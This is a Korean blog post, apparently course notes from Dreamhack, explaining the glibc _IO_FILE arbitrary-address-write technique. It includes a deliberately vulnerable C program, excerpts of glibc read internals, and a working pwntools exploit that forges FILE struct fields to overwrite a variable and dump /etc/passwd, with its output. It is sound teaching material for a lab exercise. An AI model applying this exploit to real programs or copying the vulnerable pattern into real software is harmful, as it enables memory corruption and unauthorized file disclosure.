[Dreamhack] Exploit Tech: _IO_FILE Arbitrary Address Write

#코딩노예#·2022년 8월 8일
0

Dreamhack - System Hacking

목록 보기
48/49

들어가기

임의 주소 쓰기 실습 예제

// Name: iofile_aaw
// gcc -o iofile_aaw iofile_aaw.c -no-pie

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char account_buf[1024];
int overwrite_me;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_account() {
	FILE *fp;
	fp = fopen("/etc/passwd", "r");
	fread(account_buf, sizeof(char), sizeof(account_buf), fp);
    
	write(1, account_buf, sizeof(account_buf));
	fclose(fp);
}

int main() {
  FILE *fp;
  
  char file_buf[1024];
  
  init();
  
  fp = fopen("/etc/issue", "r");
  
  printf("Data: ");
  
  read(0, fp, 300);
  
  fread(file_buf, 1, sizeof(file_buf)-1, fp);
  
  printf("%s", file_buf);
  
  if( overwrite_me == 0xDEADBEEF) 
  	read_account();
    
  fclose(fp);
}


파일 읽기 함수 분석

파일 읽기 과정

_IO_new_file_xsputn 함수

_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
  _IO_size_t want, have;
  _IO_ssize_t count;
  _char *s = data;
  want = n;
    ...
	  /* If we now want less than a buffer, underflow and repeat
	     the copy.  Otherwise, _IO_SYSREAD directly to
	     the user buffer. */
	  if (fp->_IO_buf_base
	      && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
	    {
	      if (__underflow (fp) == EOF)
		break;
	      continue;
	    }
	...
}

파일 읽기 함수는 대표적으로 fread, fgets가 있는데, 해당 함수는 라이브러리 내부에서 _IO_file_xsgetn 함수를 호출합니다.
해당 함수는 인자로 전달된 n이 _IO_buf_end - _IO_buf_base 값보다 작은지를 검사하고 __underflow 즉, _IO_new_file_underflow 함수를 호출합니다.

실제로 파일의 내용을 읽는 과정은 _IO_new_file_underflow를 시작으로 다양한 함수가 호출되면서 이뤄집니다.


_IO_new_file_underflow

_IO_new_file_underflow 함수

int _IO_new_file_underflow (FILE *fp)
{
  ssize_t count;
  if (fp->_flags & _IO_NO_READS)           
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
   ...
   count = _IO_SYSREAD (fp, fp->_IO_buf_base,     
	fp->_IO_buf_end - fp->_IO_buf_base);
}

코드를 살펴보면 함수 내부에서 파일 포인터 _flags 변수에 읽기 권한이 부여되어 있는지 확인합니다. 이후 _IO_SYSREAD 함수의 인자로 파일 포인터와 파일 구조체의 멤버 변수를 연산한 값이 전달됩니다.

_IO_SYSREAD 함수는 vtable의 _IO_file_read 함수로, 아래 매크로에서 확인할 수 있습니다.

#define _IO_SYSREAD(FP, DATA, LEN) JUMP2 (__read, FP, DATA, LEN)

_IO_file_read

_IO_file_read 함수

_IO_ssize_t
_IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size)
{
  return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
	  ? __read_nocancel (fp->_fileno, buf, size)
	  : __read (fp->_fileno, buf, size));
}

_IO_file_read 함수 내부에서는 read 시스템 콜을 사용해 파일의 데이터를 읽습니다. 인자로 파일 구조체에서 파일 디스크립터를 나타내는 _fileno, _IO_buf_base인 buf, 그리고 _IO_buf_end - _IO_buf_base로 연산된 size 변수가 전달됩니다.

read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);


분석

보호 기법

❯ checksec iofile_aaw
[*] '/root/tmp/iofile_aaw'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

코드 분석

  • "/etc/issue" 파일을 열고, 파일 포인터에 300 바이트 만큼의 값을 입력할 수 있습니다.
  • fread 함수를 통해 파일의 내용을 읽고, 출력합니다. 이때 overwrite_me 변수 값이 0xDEADBEEF라면 read_account 함수를 호출해 "/etc/passwd" 파일의 내용을 출력합니다.


익스플로잇

익스플로잇 설계

fread 함수에서 참조하는 파일 구조체를 조작해 overwrite_me의 값을 0xDEADBEEF로 덮어 "/etc/passwd" 파일 내용을 흭득해야 합니다.

1. 파일 구조체 조작

  • 임의 주소에 값을 쓰기 위해서는 _IO_buf_end와 _IO_buf_base를 조작해야 합니다.
  • _IO_buf_base를 overwrite_me의 주소로 조작하고, _IO_buf_end를 overwrite_me 주소에 1024보다 큰 수를 더한 값으로 조작합니다. 이유는 _IO_buf_end - _IO_buf_base 값이 fread 함수의 인자로 전달된 읽을 크기보다 커야 한다는 조건 때문입니다.
  • 표준 입력을 통해 값을 쓰기 위해 fileno를 stdin인 0으로 덮어씁니다.
read(f->_fileno, _IO_buf_base, _IO_buf_end - _IO_buf_base);

파일 구조체 조작

payload += p64(overwrite_me) # _IO_buf_base
payload += p64(overwrite_me+1024) # _IO_buf_end

overwrite_me에 값을 쓰기 위해 _IO_buf_base와 _IO_buf_end에 각각 overwrite_me 주소와 overwrite_me + 1024의 주소를 입력합니다.

payload += p64(0) # stdin

표준 입력으로 값을 입력할 수 있도록 _fileno를 0으로 변경합니다.

익스플로잇 코드

# Name: iofile_aaw.py
from pwn import *

p = process("./iofile_aaw")
elf = ELF('./iofile_aaw')

overwrite_me = elf.symbols['overwrite_me']

payload = p64(0xfbad2488)
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base 
payload += p64(0) # _IO_write_ptr 
payload += p64(0) # _IO_write_end 
payload += p64(overwrite_me) # _IO_buf_base
payload += p64(overwrite_me+1024) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0) 
payload += p64(0) # stdin

p.sendline(payload)
p.sendline(p64(0xDEADBEEF) + b"\x00"*1024)

p.interactive()
❯ python3 exploit.py
[+] Starting local process './iofile_aaw': pid 3365
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/tmp/iofile_aaw'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
Data: ᆳ\xderoot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systefree(): invalid pointer
[*] Got EOF while reading in interactive

0개의 댓글